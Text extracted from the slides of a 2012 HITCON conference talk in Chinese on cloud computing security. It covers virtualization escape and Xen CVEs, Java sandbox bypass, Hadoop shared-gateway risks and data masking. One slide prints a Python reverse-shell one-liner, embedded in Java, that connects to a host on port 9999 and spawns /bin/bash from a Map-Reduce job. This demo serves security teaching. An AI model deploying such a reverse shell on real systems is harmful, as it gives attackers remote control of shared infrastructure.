2012 HITCON深入浅出云计算安全

1、深入浅出云计算安全吴翰清2012-071Who am I?Alibaba security (7 years) (3个月，1w册)2icloud是云吗？3互联网未来的入口45随时随地上网改变了使用互联网的方式但这不是传统意义的云计算6云计算的前世今生电厂模式Utility Computing网格计算云计算1875,巴黎1961,麦肯锡1990S,Ian Foster2006,Amazon 7云计算的使命8Computing as Utility9两种云计算弹性计算海量数据计算10弹性计算改变建站方式按需使用，按需付费专业运维服务化快速部署，自助开通11互联网的长尾用户中小站长、创业者运营商、政

2、府、公安、金融12“奢侈品”变成“消费品”弹性计算冲击安全产业“销售模式”变成“互联网模式”13Security as a Service14结论：变革的浪潮就在眼前15弹性计算的安全挑战巨大的共享环境网络安全问题16虚拟化技术安全问题全虚拟化、半虚拟化、操作系统级虚拟化虚拟机逃逸问题 (CVE-2011-1898)D.O.S.HardwareHypervisorDomain0GuestOSDomain UGuestOSDomain UHost xx17XEN的DOSCVE-2012-2625 XEN 4.xCVE-2010-4255 XEN 4.0.1CVE-2010-4247 XEN 3.

3、4.0CVE-2010-3699 XEN 3.x18AppEngine的环境安全Java sandboxPHP sandbox语言级沙箱系统级沙箱19CVE-2012-0507Attacking java security manager2021突破java sandbox22弹性计算的网络安全防火墙API防止ARP 欺骗、srcip伪造自动化清洗DDOS23海量数据计算的安全以hadoop为例24Map-Reduce简介25海量数据计算的安全挑战保护用户数据隐私数据26互联网公司使用hadoop的方式Hadoop 为linux设计共享“gateway”27共享”gateway”的问题/hom

4、e:28Hacking Hadoop原始数据的导入计算结果的导出运行环境安全并不仅仅是认证与授权29Map-Reduce job/UDF用户上传的java code缺乏sandbox3031String pysh = #!/bin/shrnpython -c import os;import sys;import socket;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(socket.gethostbyname(10.x.x.x),9999);s.send(Welcome my masterrn);os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send(Is there a shell?rn);os.system(/bin/bash);s.close();s.send(See u next time!rn);DEMO3233如何解决隐私问题？张三 男 北京市一号胡同李四 女 天津市二号小区34Data Masking35保留统计信息，掩盖个人信息张A 男 xxxx李C 女 yyyy 北京市ABCD胡同 439MMM1天津市EFG